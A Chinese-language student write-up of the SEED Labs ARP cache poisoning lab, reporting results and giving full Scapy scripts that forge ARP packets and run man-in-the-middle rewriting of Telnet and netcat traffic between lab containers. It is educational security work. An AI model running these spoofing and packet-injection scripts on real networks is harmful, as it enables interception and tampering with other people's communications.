SEEDLab-ARP缓存中毒攻击

SEEDLab-ARP缓存中毒攻击

【实验概要】

地址解析协议(ARP)是一种用于在给定IP地址的情况下查询链路层地址(例如 MAC 地址)的通讯协议。ARP协议是一个非常简单的协议,它并未实现任何安全措施。ARP缓存中毒攻击是对ARP协议的一种常见攻击方式。使用此类攻击,攻击者可以让受害者接受伪造的IP到MAC的映射。这会导致受害者的数据包被重定向到具有伪造MAC地址的计算机,从而导致潜在的中间人攻击。

本实验的目标是让学生们获得对ARP缓存中毒攻击的第一手体验,并了解这种攻击可能造成的损害。学生将使用ARP攻击来发起中间人攻击。在这种攻击中,攻击者可以拦截并修改两个受害者A和B之间的数据包。本实验的另一个目标是让学生练习数据包嗅探和伪造技能,这些技能在网络安全领域至关重要,也是许多网络攻击与防御工具的基础。学生将使用Scapy来完成实验任务。

【实验原理】

ARP与地址解析。 ARP用于在同一链路内把IP地址解析为MAC地址。主机会广播ARP请求,目标主机用ARP响应返回自己的MAC;本机将\((IP \rightarrow MAC)\)映射写入ARP缓存以便后续通信直接使用链路层地址。

ARP缓存机制。 ARP缓存是软状态,条目会在一段时间后过期,也会被新的ARP响应更新。由于ARP协议缺乏认证机制,主机通常会接受与请求无关的ARP响应,从而存在被篡改的风险。

ARP缓存中毒。 攻击者伪造ARP请求或响应,向受害者传播错误的\((IP \rightarrow MAC)\)映射,例如将B的IP绑定到攻击者的MAC。受害者更新缓存后,发往B的数据会被重定向到攻击者。

免费ARP与广播更新。 免费ARP是一种特殊的ARP请求,源IP与目标IP相同,目标MAC为广播地址。主机用它主动更新网络中其他主机的ARP缓存;攻击者可利用该机制批量刷新受害者的缓存条目。

中间人攻击路径。 当A与B的缓存同时被污染,A与B的流量都先到达攻击者M。若M开启IP转发,则可透明转发并嗅探;若M关闭转发或篡改负载,则可实现阻断或内容修改的中间人攻击。

实验网络拓扑图

任务 1:ARP缓存中毒攻击

本任务的目的是使用数据包伪造对目标发起ARP缓存中毒攻击,使得当两台受害者机器A和B尝试相互通信时,其数据包将被攻击者拦截并修改,从而使攻击者成为A和B之间的中间人。这被称为中间人(MITM)攻击。在本任务中,我们的重点在于ARP缓存中毒部分。我们将使用Scapy库来构造和发送ARP数据包。Scapy是一个强大的Python库,允许我们轻松地创建、修改和发送网络数据包。我们需要构造ARP请求或响应数据包,并设置适当的字段以实现我们的攻击目标。

  • Ether层(以太网头): 设置dst(目标MAC,通常为广播地址ff:ff:ff:ff:ff:ff)和src(源MAC)。

  • ARP层属性:

    • op:操作码,1表示ARP请求,2表示ARP响应。

    • psrc:发送方IP地址。

    • hwsrc:发送方MAC地址。

    • pdst:目标IP地址。

    • hwdst:目标MAC地址(通常为00:00:00:00:00:00表示未知)。

  • **发送方式:**使用sendp()在链路层直接发送,或send()在网络层发送。

在本任务中,有三台机器(容器),A、B和M。我们将使用M作为攻击者机器。我们希望让A在其ARP缓存中添加一个伪造的条目,使得B的IP地址被映射到M的MAC地址。使用arp -n命令检查一台用户A的ARP缓存。如下图所示,ping B的IP地址,我们可以看到A的ARP缓存中已经添加了一个条目,将B的IP地址映射到了B的MAC地址。

查看ARP缓存

有许多方法可以实施ARP缓存中毒攻击。学生需要尝试以下三种方法,并汇报每种方法是否有效。

  • 任务1.A(使用ARP请求)在主机M上构造一个ARP请求包,将B的IP地址映射到M的MAC地址,将该包发送给A并检查攻击是否成功。使用实验给出的参考代码,补全其中的关键参数后并运行,成功修改了用户的ARP缓存。,如下图所示。

    ARP缓存攻击成功

  • 任务1.B(使用ARP响应)在主机M上构造一个ARP响应包,将B的IP地址映射到M的MAC地址,并将该包发送给A并检查攻击是否成功。同时在以下两种情景下尝试攻击并汇报攻击结果:

  • 情景1:B的IP地址已经存在于A的缓存中。在运行攻击代码之前,使用ping指令

    有缓存情况下攻击成功

  • 情景2:B的IP地址未出现在A的缓存中。你可以使用命令"arp -d a.b.c.d"来删除IP地址a.b.c.d对应的ARP缓存条目。

    空缓存情况下攻击成功

  • 任务1.C(使用ARP免费消息)在主机M上构造一个ARP免费数据包,并将B的IP地址映射到M的MAC地址。在与任务1.B中描述的相同两种情况下发起攻击。ARP免费数据包是一种特殊的ARP请求包,当一台宿主机器需要更新其他机器的ARP缓存中的过时信息时会使用它。免费ARP数据包具有以下特点:

    • 源和目标的 IP 地址相同,是发出该消息的主机的IP地址。

    • ARP头部和以太网头部的目标MAC地址都是广播MAC地址(ff:ff:ff:ff:ff:ff)。

    • 不期望有响应。

    如下图所示,在arp缓存为空时,攻击无法完成。这是因为当受害主机的ARP缓存中没有目标IP的条目时,某些操作系统可能会忽略非请求触发的ARP广播(例如某些免费ARP或非目标应答),或在写入条件上更严格,从而不会立即接受并安装伪造映射;同时缓存超时、网络延迟或广播丢失也会导致投毒失败。

    空缓存情况下攻击失败

    但是,在arp缓存中已经存在B的IP地址的条目时,攻击可以成功。如下图所示。这是因为如果受害主机已有目标IP的缓存条目或实现了对广播/免费ARP的接收并允许覆盖现有条目,攻击者发送的伪造ARP(请求/响应/免费ARP)可覆盖原有映射,使后续流量被重定向到攻击者。攻击的稳定性还受发送频率和目标系统的ARP更新策略影响。

    有缓存情况下攻击成功

任务2:使用ARP缓存中毒攻击在Telnet实施中间人攻击

主机A和B正在通过Telnet进行通信,而主机M希望拦截它们之间的通信以便对A和B传送的数据进行修改。图2描述了该设置。我们已经在容器内部创建了一个名为seed的帐户,密码是dees。可以通过Telnet连接到此账户。

步骤 1(发起ARP缓存中毒攻击)。

首先,主机M对A和B均执行ARP缓存中毒攻击,使得在A的ARP缓存中,B的IP地址被映射到M的MAC地址;在B的ARP缓存中,A的IP地址也被映射到M的MAC地址。完成此步骤后,A和B之间的数据包都将发送给M。我们将使用任务1中的ARP缓存中毒攻击来实现这一目标。将针对A和B的攻击代码整合到一起,并加上即使循环,2min一次,防止arp缓存内容被更正。如下图所示:

通信双方均攻击成功

步骤2(测试)。

首先通过下面的指令关闭主机M的IP转发(IP forwarding),在攻击成功后,尝试在主机A和B之间相互ping,并汇报你的观察结果。

1
# sysctl net.ipv4.ip_forward=0

ping指令无法接收到回复,同时在wireshark中捕捉到A发送的icmp数据包目的IP为主机B,目的MAC地址却是攻击者M。

观察ping指令现象

步骤3(开启IP转发)。

现在我们将在主机M上开启IP转发,因此它将转发A和B之间的数据包。请运行以下命令并重复步骤2,描述你的观察结果。

1
# sysctl net.ipv4.ip_forward=1

ping指令能够正常接收回复,同时在wireshark中捕捉到A发送的icmp数据包目的IP为主机B,目的MAC地址同上面一样是攻击者M。但是M会把A发送的icmp数据包转发给B,B再回复给M转发给A。观察结果如下图所示。

观察ping指令现象

步骤4(实施中间人攻击)。

我们现在可以对A和B之间的Telnet数据进行修改。假设A是Telnet客户端,B是Telnet服务器。在A连接到B上的Telnet服务器后,在A的Telnet窗口中键入的每个字符,都会生成一个TCP数据包并发送给B。我们希望拦截这个TCP数据包,并将每个输入的字符替换为一个固定字符(例如*)。这样无论用户在A上键入什么内容,Telnet都会始终显示*。根据前面的步骤,我们可以将TCP数据包重定向到主机M,但此时我们希望M不转发这些数据包,而是用一个伪造的数据包来代替。我们将编写一个程序来完成这一目标。我们需要做到以下几点:

  • 首先保持M上的IP转发,以便A和B之间可以建立Telnet连接。一旦连接建立,我们关闭IP转发。如下图所示,最先几条telnet指令被成功送到主机B。

  • 在主机M上运行中间人攻击程序,捕获从A到B发送的数据包,然后生成一个伪造数据包(只修改TCP数据部分)。对于从B到A的数据包(Telnet响应),我们不做任何更改,因此伪造数据包与原始的完全相同。

编写脚本根据捕获的数据包创建一个新的数据包。首先需要删除IP和TCP头部的校验和,因为修改会使它们无效,Scapy会在这些字段缺失时重新计算它们。我们还删除了原始的TCP有效载荷。

中间人攻击telnet协议成功

需要注意的是,捕获了所有TCP数据包,包括由程序本身生成的数据包。这是不可取的,因为它会影响程序的表现。参考上次实验的结论,使用攻击者的MAC地址作为过滤条件,成功避免了循环的问题。

Telnet的行为。 在Telnet中,在通常情况下,我们每在Telnet窗口中键入一个字符就会触发一个单独的TCP数据包,但如果输入速度很快,几个字符可能会在一个数据包中被一起发送。这就是为什么在从客户端到服务器端的Telnet数据包中,有效载荷通常只包含一个字符。因此,我们看到客户端窗口中的内容并不是直接的输入结果。无论我们在客户端窗口中输入什么内容,它都需要经过一次往返才能显示。如果攻击者在这个过程中将字符更改为*,则*将在Telnet客户端窗口中显示出来,尽管实际并未输入*。

中间人攻击telnet协议成功

任务3:使用ARP缓存中毒攻击在Netcat实施中间人攻击

本任务与任务2类似,只是主机A和B使用netcat而不是telnet进行通信。主机M希望拦截它们之间的通信并修改A和B通信的数据。可以使用以下命令中建立A到B的netcat TCP连接:

在主机B(服务器,IP地址是10.9.0.6)上运行以下命令:

1
# nc -lp 9090

在主机 A(客户端)上运行以下命令:

1
# nc 10.9.0.6 9090

一旦建立连接,就可以在A中键入信息。每行信息都将被放入一个TCP数据包中发送给B,B只是显示该信息。本次实验将信息中本人的姓(Gao)替换为一串A(我选择替换成*),为了不扰乱TCP序列号,从而导致整个TCP连接失败,串的长度也设置为3。如下图所示攻击成功。

中间人攻击netcat会话成功

【思考与总结】

通过本次ARP缓存中毒与中间人攻击实验,我对局域网中链路层协议的安全风险有了更直观的认识,主要收获如下:

1. ARP协议的天然脆弱性: ARP缺乏身份认证与完整性保护,主机会接受与请求无关的ARP响应,导致\((IP \rightarrow MAC)\)映射可被轻易篡改。这一点是ARP缓存中毒能够成功的根本原因。

2. 缓存更新时机的影响: 当目标缓存中已有条目时,伪造响应仍可覆盖原映射;当缓存为空时,攻击者更容易“先占位“。实验表明,缓存状态直接影响攻击的成功率与稳定性。

3. 免费ARP的广播效应: 免费ARP利用广播机制一次性更新多个主机的缓存,攻击面更广。它既是正常运维中的更新手段,也可能被滥用为快速投毒的载体。

4. IP转发与MITM能力: 开启IP转发后,攻击者可透明转发并嗅探流量;关闭转发或修改负载,则可实现阻断或内容篡改。转发开关直接决定“可见性“与“可用性“之间的权衡。

5. 应用层交互与序列号约束: 在Telnet与Netcat场景中,对载荷的修改必须保持长度一致,否则会破坏TCP序列号并导致连接中断。这体现了应用层操作必须遵守传输层的状态一致性。

6. 防护与改进方向: 静态ARP绑定、ARP检测与交换机端口安全可降低风险,但最根本的防护仍需依赖更高层的加密认证机制(如TLS)来抵御链路层篡改的影响。

【附录-完整源代码】

任务1

1
2
3
4
5
6
7
#!/usr/bin/env python3
from scapy.all import *
E = Ether(dst="ff:ff:ff:ff:ff:ff", src="02:42:0a:09:00:69")
A = ARP(psrc="10.9.0.6" ,hwsrc="02:42:0a:09:00:69", pdst="10.9.0.5")
A.op = 1 # 1 为 ARP 请求; 2 为 ARP 响应
pkt = E/A
sendp(pkt)

任务1.C

1
2
3
4
5
6
7
8
9
10
11
12
13
from scapy.all import *
arp = ARP(
op=1, # 请求
psrc="10.9.0.6", # B 的 IP
hwsrc="02:42:0a:09:00:69",# M 的 MAC
pdst="10.9.0.6", # 目的 IP = B
hwdst="ff:ff:ff:ff:ff:ff" # 广播
)
eth = Ether(
dst="ff:ff:ff:ff:ff:ff",
src="02:42:0a:09:00:69"
)
sendp(eth/arp)

任务2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#!/usr/bin/env python3
from scapy.all import *

# attack A first
E = Ether(dst="ff:ff:ff:ff:ff:ff", src="02:42:0a:09:00:69")
A = ARP(psrc="10.9.0.6" ,hwsrc="02:42:0a:09:00:69", pdst="10.9.0.5")
A.op = 1
pkt = E/A

# attack B
E2 = Ether(dst="ff:ff:ff:ff:ff:ff", src="02:42:0a:09:00:69")
A2 = ARP(psrc="10.9.0.5" ,hwsrc="02:42:0a:09:00:69", pdst="10.9.0.6")
A2.op = 1
pkt2 = E2/A2

while True:
sendp(pkt)
sendp(pkt2)
time.sleep(120)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
#!/usr/bin/env python3
from scapy.all import *
IP_A = "10.9.0.5"
MAC_A = "02:42:0a:09:00:05"
IP_B = "10.9.0.6"
MAC_B = "02:42:0a:09:00:06"
def spoof_pkt(pkt):
if pkt[IP].src == IP_A and pkt[IP].dst == IP_B:
# 根据捕获的数据包创建一个新的数据包。
# 1) 我们需要删除 IP 和 TCP 头部的校验和,
# 因为我们的修改会使它们无效。
# Scapy 会在这些字段缺失时重新计算它们。
# 2) 我们还删除了原始的 TCP 有效载荷。
newpkt = IP(bytes(pkt[IP]))
del(newpkt.chksum)
del(newpkt[TCP].payload)
del(newpkt[TCP].chksum)
##############################################
# 根据旧的有效载荷构建新的有效载荷。
# 学生需要实现这部分代码。
if pkt[TCP].payload:
data = pkt[TCP].payload.load # 原始的有效载荷数据
newdata = b'*'*len(data) # 在此示例代码中未做更改
send(newpkt/newdata)
else:
send(newpkt)
##############################################

elif pkt[IP].src == IP_B and pkt[IP].dst == IP_A:
# 根据捕获的数据包创建一个新的数据包
# 不进行任何修改。

newpkt = IP(bytes(pkt[IP]))
del(newpkt.chksum)
del(newpkt[TCP].chksum)
send(newpkt)

f = 'tcp and not ether src 02:42:0a:09:00:69'
pkt = sniff(iface='eth0', filter=f, prn=spoof_pkt)

任务3

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
#!/usr/bin/env python3
from scapy.all import *
IP_A = "10.9.0.5"
MAC_A = "02:42:0a:09:00:05"
IP_B = "10.9.0.6"
MAC_B = "02:42:0a:09:00:06"

NAME = b"Gao"
REPLACE = b"***"
def spoof_pkt(pkt):
if pkt[IP].src == IP_A and pkt[IP].dst == IP_B:

newpkt = IP(bytes(pkt[IP]))
del(newpkt.chksum)
del(newpkt[TCP].payload)
del(newpkt[TCP].chksum)

if pkt[TCP].payload:
data = pkt[TCP].payload.load
newdata = data.replace(NAME, REPLACE)
send(newpkt/newdata)
else:
send(newpkt)

elif pkt[IP].src == IP_B and pkt[IP].dst == IP_A:
newpkt = IP(bytes(pkt[IP]))
del(newpkt.chksum)
del(newpkt[TCP].chksum)
send(newpkt)

f = 'tcp and not ether src 02:42:0a:09:00:69'
pkt = sniff(iface='eth0', filter=f, prn=spoof_pkt)

SEEDLab-ARP缓存中毒攻击
https://eleco.top/2026/05/19/SEEDLab-ARP缓存中毒攻击/
作者
Eleco
发布于
2026年5月19日
许可协议